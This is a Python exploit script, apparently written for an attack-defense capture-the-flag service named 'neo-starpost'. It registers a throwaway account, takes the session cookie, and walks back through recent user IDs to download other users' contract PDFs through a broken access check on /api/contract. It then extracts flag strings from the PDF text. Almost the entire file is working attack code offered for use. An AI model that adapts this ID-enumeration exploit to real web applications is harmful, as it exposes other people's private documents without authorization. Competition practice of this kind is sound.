256 lines
9.0 KiB
Python
Executable File
256 lines
9.0 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import concurrent.futures
|
|
import json
|
|
import re
|
|
import secrets
|
|
import socket
|
|
import sys
|
|
import time
|
|
from http.cookies import SimpleCookie
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import urlsplit, urlunsplit
|
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|
|
|
|
|
TARGET_SCHEME = "http"
|
|
SERVICE_PORT = 8090
|
|
CONNECT_TIMEOUT = 0.35
|
|
READ_TIMEOUT = 0.65
|
|
MAX_RESPONSE = 128 * 1024
|
|
RECENT_USER_WINDOW = 32
|
|
MAX_WORKERS = 8
|
|
MAX_ATTEMPTS = 2
|
|
RUN_TIMEOUT = 8.5
|
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
|
|
|
|
|
class NoRedirects(HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
def build_target(target: str) -> str:
|
|
raw = target.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
if "://" not in raw:
|
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
|
raw = f"{TARGET_SCHEME}://{authority}"
|
|
parsed = urlsplit(raw)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("expected an HTTP target")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("target must not include credentials or a path")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("target must not include query or fragment")
|
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
|
if not 1 <= port <= 65535:
|
|
raise ValueError("invalid target port")
|
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def request(
|
|
target: str,
|
|
method: str,
|
|
path: str,
|
|
deadline: float,
|
|
payload: dict | None = None,
|
|
cookie: str | None = None,
|
|
attempts: int = MAX_ATTEMPTS,
|
|
) -> tuple[int, list[tuple[str, str]], bytes]:
|
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-contract/1.0"}
|
|
if body is not None:
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie:
|
|
headers["Cookie"] = f"session={cookie}"
|
|
req = Request(target + path, data=body, headers=headers, method=method)
|
|
opener = build_opener(NoRedirects())
|
|
last_error: OSError | URLError | None = None
|
|
for _ in range(attempts):
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
break
|
|
try:
|
|
with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
raise TimeoutError("run deadline exceeded")
|
|
try:
|
|
response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
|
|
except (AttributeError, OSError):
|
|
pass
|
|
data = response.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return response.status, list(response.headers.items()), data
|
|
except HTTPError as exc:
|
|
data = exc.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return exc.code, list(exc.headers.items()), data
|
|
except (OSError, TimeoutError, socket.timeout, URLError) as exc:
|
|
last_error = exc
|
|
if last_error is not None:
|
|
raise last_error
|
|
raise TimeoutError("run deadline exceeded")
|
|
|
|
|
|
def register(target: str, deadline: float) -> tuple[int, str]:
|
|
marker = secrets.token_hex(8)
|
|
status, headers, body = request(
|
|
target,
|
|
"POST",
|
|
"/api/register",
|
|
deadline,
|
|
payload={
|
|
"username": f"neo-{marker}",
|
|
"password": secrets.token_urlsafe(18),
|
|
"role": "seller",
|
|
"company_name": f"neo-{marker}",
|
|
"tax_id": marker,
|
|
"signature": "synthetic-probe",
|
|
},
|
|
attempts=1,
|
|
)
|
|
if status != 201:
|
|
raise ValueError(f"registration returned HTTP {status}")
|
|
data = json.loads(body)
|
|
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
|
|
raise ValueError("registration returned an invalid user id")
|
|
try:
|
|
user_id = int(data["id"])
|
|
except (TypeError, ValueError) as exc:
|
|
raise ValueError("registration returned an invalid user id") from exc
|
|
if user_id < 1:
|
|
raise ValueError("registration returned an invalid user id")
|
|
cookies = SimpleCookie()
|
|
for name, value in headers:
|
|
if name.lower() == "set-cookie":
|
|
cookies.load(value)
|
|
if "session" not in cookies:
|
|
raise ValueError("registration did not return a session")
|
|
return user_id, cookies["session"].value
|
|
|
|
|
|
def pdf_literal_strings(document: bytes) -> list[bytes]:
|
|
strings: list[bytes] = []
|
|
size = len(document)
|
|
offset = 0
|
|
escapes = {
|
|
ord("n"): ord("\n"),
|
|
ord("r"): ord("\r"),
|
|
ord("t"): ord("\t"),
|
|
ord("b"): ord("\b"),
|
|
ord("f"): ord("\f"),
|
|
}
|
|
while offset < size:
|
|
start = document.find(b"(", offset)
|
|
if start < 0:
|
|
break
|
|
offset = start + 1
|
|
depth = 1
|
|
value = bytearray()
|
|
while offset < size and depth:
|
|
current = document[offset]
|
|
if current == ord("\\"):
|
|
offset += 1
|
|
if offset >= size:
|
|
break
|
|
escaped = document[offset]
|
|
if escaped in (ord("\r"), ord("\n")):
|
|
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
|
|
offset += 1
|
|
offset += 1
|
|
continue
|
|
if ord("0") <= escaped <= ord("7"):
|
|
end = offset + 1
|
|
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
|
|
end += 1
|
|
value.append(int(document[offset:end], 8) & 0xFF)
|
|
offset = end
|
|
continue
|
|
value.append(escapes.get(escaped, escaped))
|
|
elif current == ord("("):
|
|
depth += 1
|
|
value.append(current)
|
|
elif current == ord(")"):
|
|
depth -= 1
|
|
if depth:
|
|
value.append(current)
|
|
else:
|
|
value.append(current)
|
|
offset += 1
|
|
if depth == 0:
|
|
strings.append(bytes(value))
|
|
return strings
|
|
|
|
|
|
def extract_flags(document: bytes) -> set[bytes]:
|
|
fragments = pdf_literal_strings(document)
|
|
flags = set(FLAG_PATTERN.findall(document))
|
|
for fragment in fragments:
|
|
flags.update(FLAG_PATTERN.findall(fragment))
|
|
for left, right in zip(fragments, fragments[1:]):
|
|
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
|
|
return flags
|
|
|
|
|
|
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
|
try:
|
|
status, _, body = request(
|
|
target,
|
|
"GET",
|
|
f"/api/contract?file=contract-{user_id}",
|
|
deadline,
|
|
cookie=cookie,
|
|
)
|
|
except (OSError, TimeoutError, URLError, ValueError):
|
|
return set(), True
|
|
return (extract_flags(body) if status == 200 else set()), False
|
|
|
|
|
|
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
|
|
target = build_target(raw_target)
|
|
deadline = time.monotonic() + RUN_TIMEOUT
|
|
newest, cookie = register(target, deadline)
|
|
oldest = max(1, newest - RECENT_USER_WINDOW)
|
|
user_ids = range(newest - 1, oldest - 1, -1)
|
|
flags: set[str] = set()
|
|
errors = 0
|
|
checked = 0
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
|
for future in concurrent.futures.as_completed(futures):
|
|
found, failed = future.result()
|
|
for candidate in sorted(flag.decode("ascii") for flag in found):
|
|
if candidate in flags:
|
|
continue
|
|
flags.add(candidate)
|
|
if emit is not None:
|
|
emit(candidate)
|
|
errors += int(failed)
|
|
checked += 1
|
|
return sorted(flags), checked, errors
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
try:
|
|
flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
|
|
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
|
print(f"request failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|